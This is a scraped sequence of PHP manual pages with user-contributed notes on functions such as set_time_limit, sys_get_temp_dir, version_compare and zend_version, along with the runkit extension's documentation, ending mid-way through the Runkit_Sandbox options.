To determine whether the script was finished or aborted, you simply set a bool false at the beginning and true at the end, and in the shutdown-function you check if it's still false.
konrads dot smelkovs at gmail dot com 01-Apr-2006 06:35
If you are streaming large data from database, it is counted towards the max exec time.
jatin at jatinchimote dot com 01-Mar-2006 10:54
If you set the number of seconds to a very large number (not many ppl do that, but just in case) then php exits with a fatal error like :

Fatal error: Maximum execution time of 1 second exceeded in /path/to/your/script/why.php

[EDIT by danbrown AT php DOT net: This is due to the limit of 32-bit signed integers.]
Cleverduck 28-Feb-2006 01:36
Regarding what 'nytshadow' said, it's important to realize that max-execution-time and the set_time_limit functions measure the time that the CPU is working on the script.  If the script blocks, IE: for input, select, sleep, etc., then the time between blocking and returning is NOT measured.  This is the same when running scripts from the command line interface.  So if you've got a log parser written in PHP that tails a file, that program WILL fail eventually.  It just depends how long it takes to read in enough input to process for 30 seconds.

If you're writing a command line script that should run infinitely, setting max-execution-time to 0 (never stop) is HIGHLY recommended.
rycardo74 at gmail dot com 24-Nov-2005 10:52
this work to fine html streaming AND time pass limit

<?php
header('Content-type: text/plain');
echo date("H:m:s"), "\n";
set_time_limit(30);
for ($i = 0; $i < 1000; $i++)
{

    echo date("H:m:s"),"\n";
    for ($r = 0; $r < 100000; $r++){
    $X.=  tan(M_LNPI+log(ceil(  date("s")*M_PI*M_LNPI+100)));
    }
    ob_flush();
    flush();

}
echo "work! $x";
?>
nytshadow 14-Jul-2005 08:15
This tripped me up for a bit until I read through the ini settings.  When doing file uploads, max_execution_time does not affect the time even though the error message indicates the script has exceeded the maximum execution time.  The max_input_time determines how much time PHP will wait to receive file data.  The default setting is 60 seconds so while I had my max_execution_time set to 300, the script would fail after 60 seconds but report that it had exceeded the max execution time of 300.
Sjoerd van der Hoorn 21-Jun-2005 03:08
When using the set_time_limit() function, the browser will stop after about 30 seconds if it does not get new data. To prevent this, you can send every 10 seconds a little snippet of data (like a single character) to the browser. The code below is tested with both Internet Explorer and Firefox, so it will stay online all the time.

You should also create a file called chatdata.txt which contains the last thing said on a chatbox. Please note that you can also replace this function with a MySQL or other database function...

<?php

set_time_limit(900);

// Start output buffering
ob_start();

$message = "First test message";
$oldmessage = "bla";

// Keep on repeating this to prevent PHP from stopping the script
while (true)
{
    $timeoutcounter = 0;
    while ($message == $oldmessage)
    {
        // If 10 seconds elapsed, send a dot (or any other character)
        if ($timeoutcounter == 10)
        {
            echo ".";
            flush();
            ob_flush();
            $timeoutcounter = 0;
        }
        // Timeout executing
        sleep(1);
        // Check for a new message
        $message = file_get_contents("chatdata.txt");
        $timeoutcounter++;
    }

    // Keep the old message in mind
    $oldmessage = $message;

    // And send the message to the user
    echo "<script>window.alert(\"" . $message . "\");</script>";

    // Now, clear the output buffer
    flush();
    ob_flush();
}

?>
eric pecoraro at shepard com 06-Jun-2005 12:57
I was having trouble with script timeouts in applications where the user prompted long running background actions. I wrote this cURL/CLI background script that solved the problem when making requests from HTTP.

<?php

/* BACKGROUND CLI 1.0

   eric pecoraro _at_ shepard dot com - 2005-06-02
   Use at your own risk. No warranties expressed or implied.

   Include this file at the top of any script to run it in the background
   with no time limitations ... e.g., include('background_cli.php');

   The script that calls this file should not return output to the browser.
*/
#  REQUIREMENTS - cURL and CLI
   if ( !function_exists('curl_setopt') OR !function_exists('curl_setopt')  ) {
      echo 'Requires cURL and CLI installations.' ; exit ;
   }

#  BUILD PATHS
   $script = array_pop(explode('/',$SCRIPT_NAME)) ;
   $script_dir = substr($SCRIPT_NAME,0,strlen($SCRIPT_NAME)-strlen($script)) ;
   $scriptURL = 'http://'. $HTTP_HOST . $script_dir . "$script" ;
   $curlURL = 'http://'. $HTTP_HOST . $script_dir . "$script?runscript=curl" ;

#  Indicate that script is being called by CLI
   if ( php_sapi_name() == 'cli' ) {
      $CLI = true ;
   }

#  Action if script is being called by cURL_prompt()
   if ( $runscript == 'curl' ) {
      $cmd = "/usr/local/bin/php ".$PATH_TRANSLATED ; // server location of script to run
      exec($cmd) ;
      exit;
   }

#  USER INTERFACE
   // User answer after submission.
   if ( $post ) {
      cURL_prompt($curlURL) ;
      echo '<div style="margin:25px;"><title>Background CLI</title>';
      echo 'O.K. If all goes well, <b>'.$script.'</b> is working hard in the background with no ' ;
      echo 'timeout limitations. <br><br><form action='.$scriptURL.' method=GET>' ;
      echo '<input type=submit value=" RESET BACKGROUND CLI "></form></div>' ;
      exit ;
   }
   // Start screen.
   if ( !$CLI AND !$runscript ) {
      echo '<title>Background CLI</title><div style="margin:25px;">' ;
      echo '<form action='.$scriptURL.' method=POST>' ;
      echo 'Click to run <b>'.$script.'</b> from the PHP CLI command line, in the background.<br><br>' ;
      echo '<input type=hidden value=1 name=post>' ;
      echo '<input type=submit value=" RUN IN BACKGROUND "></form></div>' ;
      exit ;
   }

#  cURL URL PROMPT FUNCTION
   function cURL_prompt($url_path) {
      ob_start(); // start output buffer
      $c=curl_init($url_path);
      curl_setopt($c, CURLOPT_TIMEOUT, 2); // drop connection after 2 seconds
      curl_exec($c);
      curl_close($c);
      ob_end_clean(); // discard output buffer
   }
?>
php at mightycpa.com 26-Jun-2003 01:30
You may also need to look at Apache's timeout setting (Win32 version for me), I changed max execution time value in php.ini, and still got stopped by Apache's timeout value in the httpd.conf file.
rsallo at gna dot NOSPAM dot es 30-May-2003 04:28
When you are working with IIS, PHP timeout is valid only when it's lower than script timeout defined by IIS.

IIS 5 has a default timeout of 300 seconds. If you need a higher timeout, you also have to change IIS properties. Otherwise, your server will stop your PHP script before it reaches its own timeout.
set_magic_quotes_runtime
sys_get_temp_dir
PHP Options/Info Functions


Returns directory path used for temporary files

set_time_limit
version_compare
PHP Options/Info Functions
PHP Manual

sys_get_temp_dir

(PHP 5 >= 5.2.1)

sys_get_temp_dir — Returns directory path used for temporary files

Description

string sys_get_temp_dir ( void )

Returns the path of the directory PHP stores temporary files in by default.

Return Values

Returns the path of the temporary directory.

Examples

Example #1 sys_get_temp_dir() example

<?php
// Create a temporary file in the temporary
// files directory using sys_get_temp_dir()
$temp_file = tempnam(sys_get_temp_dir(), 'Tux');

echo $temp_file;
?>

The above example will output something similar to:

C:\Windows\Temp\TuxA318.tmp

See Also

  • tmpfile() - Creates a temporary file
  • tempnam() - Create file with unique file name

User Contributed Notes

bert-jan at bugbyte dot nl 29-Mar-2010 01:06
This function does not account for virtualhost-specific modifications to the temp path and/or open_basedir:

<Virtualhost>
php_admin_value open_basedir /home/user
php_admin_value upload_tmp_dir /home/user/tmp
php_admin_value session.save_path /home/user/tmp
</Virtualhost>

Within this config it still returns /tmp
php at ktools.eu 16-Oct-2009 11:29
-better to use the php methode 'getenv()' to access the enviroment vars
-the original 'sys_get_temp_dir()' don't use realpath, than it's better to make 'realpath(sys_get_temp_dir())'

<?php
 if ( !function_exists('sys_get_temp_dir')) {
  function sys_get_temp_dir() {
      if( $temp=getenv('TMP') )        return $temp;
      if( $temp=getenv('TEMP') )        return $temp;
      if( $temp=getenv('TMPDIR') )    return $temp;
      $temp=tempnam(__FILE__,'');
      if (file_exists($temp)) {
          unlink($temp);
          return dirname($temp);
      }
      return null;
  }
 }

 echo realpath(sys_get_temp_dir());
?>
dannel at aaronexodus dot com 07-Sep-2009 01:11
There's no need to use a random name for the directory for tempnam.

Since a file and a directory can't share the same name on the filesystem, we can exploit this and simply use the name of the current file. It is guaranteed that the directory won't exist (because it's a file, of course).

Improving on the last post...

<?php
if ( !function_exists('sys_get_temp_dir')) {
  function sys_get_temp_dir() {
    if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
    if (!empty($_ENV['TMPDIR'])) { return realpath( $_ENV['TMPDIR']); }
    if (!empty($_ENV['TEMP'])) { return realpath( $_ENV['TEMP']); }
    $tempfile=tempnam(__FILE__,'');
    if (file_exists($tempfile)) {
      unlink($tempfile);
      return realpath(dirname($tempfile));
    }
    return null;
  }
}
?>
php [spat] hm2k.org 22-Aug-2008 04:20
I went ahead and slightly improved the function provided.

<?php
if ( !function_exists('sys_get_temp_dir')) {
  function sys_get_temp_dir() {
    if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
    if (!empty($_ENV['TMPDIR'])) { return realpath( $_ENV['TMPDIR']); }
    if (!empty($_ENV['TEMP'])) { return realpath( $_ENV['TEMP']); }
    $tempfile=tempnam(uniqid(rand(),TRUE),'');
    if (file_exists($tempfile)) {
    unlink($tempfile);
    return realpath(dirname($tempfile));
    }
  }
}
?>
radon8472 at hotmail dot com 01-Aug-2008 01:31
better use
tempnam(":\n\\/?><","");

To detect path by creating a temporary file.
A random directoryname can exist  (the chance is low, but it can be).
Better is to use signs, like :\n\\/?>< which are not valid, so realy NEVER a directory with this name can exist.
Anonymous 29-Jan-2008 04:08
This function does not always add trailing slash. This behaviour is inconsistent across systems, so you have keep an eye on it.
minghong at gmail dot com 22-Nov-2006 06:04
To add support of sys_get_temp_dir for PHP4/5, use the following code:

<?php
if ( !function_exists('sys_get_temp_dir') )
{
    // Based on http://www.phpit.net/
    // article/creating-zip-tar-archives-dynamically-php/2/
    function sys_get_temp_dir()
    {
        // Try to get from environment variable
        if ( !empty($_ENV['TMP']) )
        {
            return realpath( $_ENV['TMP'] );
        }
        else if ( !empty($_ENV['TMPDIR']) )
        {
            return realpath( $_ENV['TMPDIR'] );
        }
        else if ( !empty($_ENV['TEMP']) )
        {
            return realpath( $_ENV['TEMP'] );
        }

        // Detect by creating a temporary file
        else
        {
            // Try to use system's temporary directory
            // as random name shouldn't exist
            $temp_file = tempnam( md5(uniqid(rand(), TRUE)), '' );
            if ( $temp_file )
            {
                $temp_dir = realpath( dirname($temp_file) );
                unlink( $temp_file );
                return $temp_dir;
            }
            else
            {
                return FALSE;
            }
        }
    }
}
?>
set_time_limit
version_compare
PHP Options/Info Functions


Compares two "PHP-standardized" version number strings

sys_get_temp_dir
zend_logo_guid
PHP Options/Info Functions
PHP Manual

version_compare

(PHP 4 >= 4.1.0, PHP 5)

version_compare — Compares two "PHP-standardized" version number strings

Description

mixed version_compare ( string $version1 , string $version2 [, string $operator ] )

version_compare() compares two "PHP-standardized" version number strings. This is useful if you would like to write programs working only on some versions of PHP.

The function first replaces _, - and + with a dot . in the version strings and also inserts dots . before and after any non number so that for example '4.3.2RC1' becomes '4.3.2.RC.1'. Then it splits the results like if you were using explode('.', $ver). Then it compares the parts starting from left to right. If a part contains special version strings these are handled in the following order: any string not found in this list < dev < alpha = a < beta = b < RC = rc < # < pl = p. This way not only versions with different levels like '4.1' and '4.1.2' can be compared but also any PHP specific version containing development state.

Parameters

version1

First version number.

version2

Second version number.

operator

If you specify the third optional operator argument, you can test for a particular relationship. The possible operators are: <, lt, <=, le, >, gt, >=, ge, ==, =, eq, !=, <>, ne respectively.

This parameter is case-sensitive, so values should be lowercase.

Return Values

By default, version_compare() returns -1 if the first version is lower than the second, 0 if they are equal, and 1 if the second is lower.

When using the optional operator argument, the function will return TRUE if the relationship is the one specified by the operator, FALSE otherwise.

Examples

The examples below use the PHP_VERSION constant, because it contains the value of the PHP version that is executing the code.

Example #1 version_compare() examples

<?php
if (version_compare(PHP_VERSION, '6.0.0') >= 0) {
    echo 'I am at least PHP version 6.0.0, my version: ' . PHP_VERSION . "\n";
}

if (version_compare(PHP_VERSION, '5.3.0') >= 0) {
    echo 'I am at least PHP version 5.3.0, my version: ' . PHP_VERSION . "\n";
}

if (version_compare(PHP_VERSION, '5.0.0', '>=')) {
    echo 'I am using PHP 5, my version: ' . PHP_VERSION . "\n";
}

if (version_compare(PHP_VERSION, '5.0.0', '<')) {
    echo 'I am using PHP 4, my version: ' . PHP_VERSION . "\n";
}
?>

Notes

Note:

The PHP_VERSION constant holds current PHP version.

Note:

Note that pre-release versions, such as 5.3.0-dev, are considered lower than their final release counterparts (like 5.3.0).

See Also

  • phpversion() - Gets the current PHP version
  • php_uname() - Returns information about the operating system PHP is running on
  • function_exists() - Return TRUE if the given function has been defined

User Contributed Notes

rogier 30-Nov-2011 08:43
Please note that supplying an operator that is not listed (e.g. ===), this function returns NULL instead of false.

Tested on PHP5.3.0, Win32
Steve Kamerman 24-Jun-2011 12:07
I know I'm splitting hairs here, but if you're OCD like me

(version_compare(PHP_VERSION, '5.3.0') >= 0)

is about 13% faster than

(version_compare(PHP_VERSION, '5.3.0', '>=')

<?php
$count = 200000;
$start = microtime(true);
for($i=0;$i<$count;$i++) (version_compare(PHP_VERSION, '5.3.0') >= 0);
echo "Real Operator: ".(microtime(true) - $start)."\n";
$start = microtime(true);
for($i=0;$i<$count;$i++) (version_compare(PHP_VERSION, '5.3.0', '>='));
echo "String Operator: ".(microtime(true) - $start)."\n";
?>
loaded67 at hotmail dot com 30-Sep-2009 04:53
This function is also usefull when working with multiple installations.

As php5.3+ will not have E_STRICT in the error_reporting anymore you can state:

<?php
ini_set('error_reporting', (version_compare(PHP_VERSION, '5.3.0', '<') ? E_ALL|E_STRICT : E_ALL));
?>

Giving you all the error error reporting you want...
Sina Salek 15-Aug-2009 02:47
Sometimes the code is forward compatible, for example when the code is compatible with all future PHP5 releases.
This function supports .x, for the above example it's : 5.x
<?php
    function versionCompare($version1,$version2,$operand) {
        $v1Parts=explode('.',$version1);
        $version1.=str_repeat('.0',3-count($v1Parts));
        $v2Parts=explode('.',$version2);
        $version2.=str_repeat('.0',3-count($v2Parts));
        $version1=str_replace('.x','.1000',$version1);
        $version2=str_replace('.x','.1000',$version2);
        return version_compare($version1,$version2,$operand);
    }
?>

---
Sina Salek
http://sina.salek.ws/en/contact
insid0r at yahoo dot com 06-Mar-2009 01:05
Since this function considers 1 < 1.0 < 1.0.0, others might find this function useful (which considers 1 == 1.0):

<?php
//Compare two sets of versions, where major/minor/etc. releases are separated by dots.
//Returns 0 if both are equal, 1 if A > B, and -1 if B < A.
function version_compare2($a, $b)
{
    $a = explode(".", rtrim($a, ".0")); //Split version into pieces and remove trailing .0
    $b = explode(".", rtrim($b, ".0")); //Split version into pieces and remove trailing .0
    foreach ($a as $depth => $aVal)
    { //Iterate over each piece of A
        if (isset($b[$depth]))
        { //If B matches A to this depth, compare the values
            if ($aVal > $b[$depth]) return 1; //Return A > B
            else if ($aVal < $b[$depth]) return -1; //Return B > A
            //An equal result is inconclusive at this point
        }
        else
        { //If B does not match A to this depth, then A comes after B in sort order
            return 1; //so return A > B
        }
    }
    //At this point, we know that to the depth that A and B extend to, they are equivalent.
    //Either the loop ended because A is shorter than B, or both are equal.
    return (count($a) < count($b)) ? -1 : 0;
}
?>
Niraj Bhawnani 10-Feb-2009 06:10
This function also works nicely when comparing IP addresses :)
bishop 07-Mar-2008 10:54
<?php
// quick & dirty way to barricade your code during version transitions
assert('version_compare("5", PHP_VERSION, "<"); // requires PHP 5 or higher');
?>
Rickard Andersson 30-Oct-2007 01:18
It should be noted that version_compare() considers 1 < 1.0 < 1.0.0 etc. I'm guessing this is due to the left-to-right nature of the algorithm.
Jonathon dot Reinhart at gmail dot com 30-Oct-2007 07:38
I know this is somewhat incomplete, but it did a fair enough job for what I needed.  I was writing some code that needed done immediately on a server that was to be upgraded some time in the future.  Here is a quick replacement for version_compare (without the use of the operator argument). Feel free to add to this / complete it.

<?php
function version_compare2($version1, $version2)
{
    $v1 = explode('.',$version1);
    $v2 = explode('.',$version2);

    if ($v1[0] > $v2[0])
        $ret = 1;
    else if ($v1[0] < $v2[0])
        $ret = -1;

    else    // Major ver are =
    {
        if ($v1[1] > $v2[1])
            $ret = 1;
        else if ($v1[1] < $v2[1])
            $ret = -1;

        else  // Minor ver are =
        {
            if ($v1[2] > $v2[2])
                $ret = 1;
            else if ($v1[2] < $v2[2])
                $ret = -1;
            else
                $ret = 0;
        }
    }

    return $ret;
}
?>
opendb at iamvegan dot net 10-Jun-2007 05:01
Something that may trip some folks up, but is useful to mention is that the following version comparison does not work quite as I expected:
    version_compare('1.0.1', '1.0pl1', '>')

However, its quite easy to get working:
    version_compare('1.0.1', '1.0.0pl1', '>')
arnoud at procurios dot nl 29-Sep-2004 02:28
If you're careful, this function actualy works quite nicely for comparing version numbers from programs other than PHP itself. I've used it to compare MySQL version numbers. The only issue is that version_compare doesn't recognize the 'gamma' addition that mysql uses as being later than 'alpha' or 'beta', because the latter two are treated specially. If you keep this in mind though, you should have no problems.
mina86 at tlen dot pl 30-Jun-2004 07:40
Here's a wrapper which is more tolerant as far as order of arguments is considered:

<?php
function ver_cmp($arg1, $arg2 = null, $arg3 = null) {
  static $phpversion = null;
  if ($phpversion===null) $phpversion = phpversion();

  switch (func_num_args()) {
  case 1: return version_compare($phpversion, $arg1);
  case 2:
    if (preg_match('/^[lg][te]|[<>]=?|[!=]?=|eq|ne|<>$/i', $arg1))
      return version_compare($phpversion, $arg2, $arg1);
    elseif (preg_match('/^[lg][te]|[<>]=?|[!=]?=|eq|ne|<>$/i', $arg2))
      return version_compare($phpversion, $arg1, $arg2);
    return version_compare($arg1, $arg2);
  default:
    $ver1 = $arg1;
    if (preg_match('/^[lg][te]|[<>]=?|[!=]?=|eq|ne|<>$/i', $arg2))
      return version_compare($arg1, $arg3, $arg2);
    return version_compare($arg1, $arg2, $arg3);
  }
}
?>

It also uses phpversion() as a default version if only one string is present. It can make your code look nicer 'cuz you can now write:
<?php if (ver_cmp($version1, '>=', $version2)) something; ?>
and to check a version string against the PHP's version you might use:
<?php if (ver_cmp('>=', $version)) something; ?>
instead of using phpversion().
eric at themepark dot com 21-Jun-2004 09:50
[editors note]
snipbit fixed after comment from Matt Mullenweg

--jm
[/editors note]

so in a nutshell... I believe it works best like this:

<?php
if (version_compare(phpversion(), "4.3.0", ">=")) {
  // you're on 4.3.0 or later
} else {
  // you're not
}
?>
sam at wyvern dot non-spammers-remove dot com dot au 23-May-2004 11:18
Actually, it works to any degree:

<?php
version_compare('1.2.3.4RC7.7', '1.2.3.4RC7.8')
version_compare('8.2.50.4', '8.2.52.6')
?>

will both give -1 (ie the left is lower than the right).
sys_get_temp_dir
zend_logo_guid
PHP Options/Info Functions


Gets the Zend guid

version_compare
zend_thread_id
PHP Options/Info Functions
PHP Manual

zend_logo_guid

(PHP 4, PHP 5)

zend_logo_guid — Gets the Zend guid

Description

string zend_logo_guid ( void )

This function returns the ID which can be used to display the Zend logo using the built-in image.

Return Values

Returns PHPE9568F35-D428-11d2-A769-00AA001ACF42.

Examples

Example #1 zend_logo_guid() example

<?php

echo '<img src="' . $_SERVER['PHP_SELF'] .
     '?=' . zend_logo_guid() . '" alt="Zend Logo !" />';

?>

See Also

  • php_logo_guid() - Gets the logo guid

User Contributed Notes

There are no user contributed notes for this page.
version_compare
zend_thread_id
PHP Options/Info Functions


Returns a unique identifier for the current thread

zend_logo_guid
zend_version
PHP Options/Info Functions
PHP Manual

zend_thread_id

(PHP 5)

zend_thread_id — Returns a unique identifier for the current thread

Description

int zend_thread_id ( void )

This function returns a unique identifier for the current thread.

Return Values

Returns the thread id as an integer.

Examples

Example #1 zend_thread_id() example

<?php
$thread_id = zend_thread_id();

echo 'Current thread id is: ' . $thread_id;
?>

The above example will output something similar to:

Current thread id is: 7864

Notes

Note:

This function is only available if PHP has been built with ZTS (Zend Thread Safety) support and debug mode (--enable-debug).

User Contributed Notes

There are no user contributed notes for this page.
zend_logo_guid
zend_version
PHP Options/Info Functions


Gets the version of the current Zend engine

zend_thread_id
runkit
PHP Options/Info Functions
PHP Manual

zend_version

(PHP 4, PHP 5)

zend_version — Gets the version of the current Zend engine

Description

string zend_version ( void )

Returns a string containing the version of the currently running Zend Engine.

Return Values

Returns the Zend Engine version number, as a string.

Examples

Example #1 zend_version() example

<?php
echo "Zend engine version: " . zend_version();
?>

The above example will output something similar to:

Zend engine version: 2.2.0

See Also

  • phpinfo() - Outputs information about PHP's configuration
  • phpcredits() - Prints out the credits for PHP
  • php_logo_guid() - Gets the logo guid
  • phpversion() - Gets the current PHP version

User Contributed Notes

There are no user contributed notes for this page.
zend_thread_id
runkit
PHP Options/Info Functions


runkit

  • Introduction
  • Predefined Constants
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • runkit Functions
    • Runkit_Sandbox — Runkit Sandbox Class -- PHP Virtual Machine
    • Runkit_Sandbox_Parent — Runkit Anti-Sandbox Class
    • runkit_class_adopt — Convert a base class to an inherited class, add ancestral methods when appropriate
    • runkit_class_emancipate — Convert an inherited class to a base class, removes any method whose scope is ancestral
    • runkit_constant_add — Similar to define(), but allows defining in class definitions as well
    • runkit_constant_redefine — Redefine an already defined constant
    • runkit_constant_remove — Remove/Delete an already defined constant
    • runkit_function_add — Add a new function, similar to create_function
    • runkit_function_copy — Copy a function to a new function name
    • runkit_function_redefine — Replace a function definition with a new implementation
    • runkit_function_remove — Remove a function definition
    • runkit_function_rename — Change a function's name
    • runkit_import — Process a PHP file importing function and class definitions, overwriting where appropriate
    • runkit_lint_file — Check the PHP syntax of the specified file
    • runkit_lint — Check the PHP syntax of the specified php code
    • runkit_method_add — Dynamically adds a new method to a given class
    • runkit_method_copy — Copies a method from class to another
    • runkit_method_redefine — Dynamically changes the code of the given method
    • runkit_method_remove — Dynamically removes the given method
    • runkit_method_rename — Dynamically changes the name of the given method
    • runkit_return_value_used — Determines if the current functions return value will be used
    • runkit_sandbox_output_handler — Specify a function to capture and/or process output from a runkit sandbox
    • runkit_superglobals — Return numerically indexed array of registered superglobals

User Contributed Notes

trincio at gmail dot com 21-Oct-2010 02:10
I found that Mr. Dmitry Zenovich (http://ru.linkedin.com/in/zenovich) implemented a new version of the runkit library here http://github.com/zenovich/runkit/.

Thanks to Mr. Zenovich for his effort in maintaining this library.

Some other interesting updated info here:

http://bit.ly/9puHiH
zend_version
Introduction
Affecting PHP's Behaviour


Introduction

The runkit extension provides means to modify constants, user-defined functions, and user-defined classes. It also provides for custom superglobal variables and embeddable sub-interpreters via sandboxing.

This package is meant as a feature added replacement for the » classkit package. When compiled with the --enable-runkit=classkit option to ./configure, it will export classkit compatible function definitions and constants.

User Contributed Notes

There are no user contributed notes for this page.
runkit
Predefined Constants
runkit


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

RUNKIT_IMPORT_FUNCTIONS (integer)
runkit_import() flag indicating that normal functions should be imported from the specified file.
RUNKIT_IMPORT_CLASS_METHODS (integer)
runkit_import() flag indicating that class methods should be imported from the specified file.
RUNKIT_IMPORT_CLASS_CONSTS (integer)
runkit_import() flag indicating that class constants should be imported from the specified file. Note that this flag is only meaningful in PHP versions 5.1.0 and above.
RUNKIT_IMPORT_CLASS_PROPS (integer)
runkit_import() flag indicating that class standard properties should be imported from the specified file.
RUNKIT_IMPORT_CLASSES (integer)
runkit_import() flag representing a bitwise OR of the RUNKIT_IMPORT_CLASS_* constants.
RUNKIT_IMPORT_OVERRIDE (integer)
runkit_import() flag indicating that if any of the imported functions, methods, constants, or properties already exist, they should be replaced with the new definitions. If this flag is not set, then any imported definitions which already exist will be discarded.
RUNKIT_ACC_PUBLIC (integer)
PHP 5 specific flag to runkit_method_add()
RUNKIT_ACC_PROTECTED (integer)
PHP 5 specific flag to runkit_method_add()
RUNKIT_ACC_PRIVATE (integer)
PHP 5 specific flag to runkit_method_add()
CLASSKIT_ACC_PUBLIC (integer)
PHP 5 specific flag to classkit_method_add() Only defined when classkit compatibility is enabled.
CLASSKIT_ACC_PROTECTED (integer)
PHP 5 specific flag to classkit_method_add() Only defined when classkit compatibility is enabled.
CLASSKIT_ACC_PRIVATE (integer)
PHP 5 specific flag to classkit_method_add() Only defined when classkit compatibility is enabled.
CLASSKIT_AGGREGATE_OVERRIDE (integer)
PHP 5 specific flag to classkit_import() Only defined when classkit compatibility is enabled.
RUNKIT_VERSION (string)
Defined to the current version of the runkit package.
CLASSKIT_VERSION (string)
Defined to the current version of the runkit package. Only defined when classkit compatibility is enabled.

User Contributed Notes

shinisaru at gmail 10-Nov-2011 11:52
There is another undocumented constant RUNKIT_IMPORT_CLASS_STATIC_PROPS for Zenovich's implementation of runkit lib.
See php_runkit.h: https://github.com/zenovich/runkit/blob/master/php_runkit.h.
Introduction
Installing/Configuring
runkit


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Requirements
runkit


Requirements

Modifying Constants, Functions, Classes, and Methods works with all releases of PHP 4 and PHP 5. No special requirements are necessary.

Custom Superglobals are only available in PHP 4.2.0 or later.

Sandboxing requires PHP 5.1.0 or later, or PHP 5.0.0 with a special TSRM patch applied. Regardless of which version of PHP is in use it must be compiled with the --enable-maintainer-zts option. See the README file in the runkit package for additional information.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/runkit.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

frxstrem 25-May-2010 02:19
If the normal PECL installation doesn't work for you, you may want to install from SVN instead:

svn checkout http://svn.php.net/repository/pecl/runkit/trunk/
cd trunk
pecl install package.xml

After pecl has finished installing runkit, add the following line to your php.ini file(s):

extension=runkit.so

Then restart your webserver, and runkit should now be installed and working with your PHP installation.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Runkit Configuration Options
Name | Default | Changeable | Changelog
runkit.superglobal | "" | PHP_INI_PERDIR |
runkit.internal_override | "0" | PHP_INI_SYSTEM |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

runkit.superglobal string
Comma-separated list of variable names to be treated as superglobals. This value should be set in the systemwide php.ini file, but may work in perdir configuration contexts depending on your SAPI.

Example #1 Custom Superglobals with runkit.superglobal=_FOO,_BAR in php.ini

<?php
function show_values() {
  echo "Foo is $_FOO\n";
  echo "Bar is $_BAR\n";
  echo "Baz is $_BAZ\n";
}

$_FOO = 'foo';
$_BAR = 'bar';
$_BAZ = 'baz';

/* Displays foo and bar, but not baz */
show_values();
?>
runkit.internal_override boolean
Enables ability to modify/rename/remove internal functions.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Resource Types

This extension has no resource types defined.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
runkit Functions
Installing/Configuring


runkit Functions

Table of Contents

  • Runkit_Sandbox — Runkit Sandbox Class -- PHP Virtual Machine
  • Runkit_Sandbox_Parent — Runkit Anti-Sandbox Class
  • runkit_class_adopt — Convert a base class to an inherited class, add ancestral methods when appropriate
  • runkit_class_emancipate — Convert an inherited class to a base class, removes any method whose scope is ancestral
  • runkit_constant_add — Similar to define(), but allows defining in class definitions as well
  • runkit_constant_redefine — Redefine an already defined constant
  • runkit_constant_remove — Remove/Delete an already defined constant
  • runkit_function_add — Add a new function, similar to create_function
  • runkit_function_copy — Copy a function to a new function name
  • runkit_function_redefine — Replace a function definition with a new implementation
  • runkit_function_remove — Remove a function definition
  • runkit_function_rename — Change a function's name
  • runkit_import — Process a PHP file importing function and class definitions, overwriting where appropriate
  • runkit_lint_file — Check the PHP syntax of the specified file
  • runkit_lint — Check the PHP syntax of the specified php code
  • runkit_method_add — Dynamically adds a new method to a given class
  • runkit_method_copy — Copies a method from class to another
  • runkit_method_redefine — Dynamically changes the code of the given method
  • runkit_method_remove — Dynamically removes the given method
  • runkit_method_rename — Dynamically changes the name of the given method
  • runkit_return_value_used — Determines if the current functions return value will be used
  • runkit_sandbox_output_handler — Specify a function to capture and/or process output from a runkit sandbox
  • runkit_superglobals — Return numerically indexed array of registered superglobals

User Contributed Notes

Radek Maciaszek 11-Jun-2008 03:15
For some reason the camel case (or any upper case) function names doesn't work. To use runkit with functions I had to use a "smallcased" function names.
Resource Types
Runkit_Sandbox
runkit


Runkit Sandbox Class -- PHP Virtual Machine

runkit Functions
Runkit_Sandbox_Parent
runkit Functions
PHP Manual

Runkit_Sandbox

(PECL runkit >= 0.7.0)

Runkit_Sandbox — Runkit Sandbox Class -- PHP Virtual Machine

Description

Instantiating the Runkit_Sandbox class creates a new thread with its own scope and program stack. Using a set of options passed to the constructor, this environment may be restricted to a subset of what the primary interpreter can do and provide a safer environment for executing user supplied code.

Note: Sandbox support (required for runkit_lint(), runkit_lint_file(), and the Runkit_Sandbox class) is only available as of PHP 5.1.0 or specially patched versions of PHP 5.0, and requires that thread safety be enabled. See the README file included in the runkit package for more information.

Constructor

void Runkit_Sandbox::__construct ([ array $options ] )

options is an associative array containing any combination of the special ini options listed below.

safe_mode

If the outer script which is instantiating the Runkit_Sandbox class is configured with safe_mode = off, then safe_mode may be turned on for the sandbox environment. This setting can not be used to disable safe_mode when it's already enabled in the outer script.

safe_mode_gid

If the outer script which is instantiating the Runkit_Sandbox class is configured with safe_mode_gid = on, then safe_mode_gid may be turned off for the sandbox environment. This setting can not be used to enable safe_mode_gid when it's already disabled in the outer script.

safe_mode_include_dir

If the outer script which is instantiating the Runkit_Sandbox class is configured with a safe_mode_include_dir, then a new safe_mode_include_dir may be set for sandbox environments below the currently defined value. safe_mode_include_dir may also be cleared to indicate that the bypass feature is disabled. If safe_mode_include_dir was blank in the outer script, but safe_mode was not enabled, then any arbitrary safe_mode_include_dir may be set while turning safe_mode on.

open_basedir

open_basedir may be set to any path below the current setting of open_basedir. If open_basedir is not set within the global scope, then it is assumed to be the root directory and may be set to any location.

allow_url_fopen

Like safe_mode, this setting can only be made more restrictive, in this case by setting it to FALSE when it is previously set to TRUE

disable_functions

Comma separated list of functions to disable within the sandbox sub-interpreter. This list need not contain the names of the currently disabled functions, they will remain disabled whether listed here or not.

disable_classes

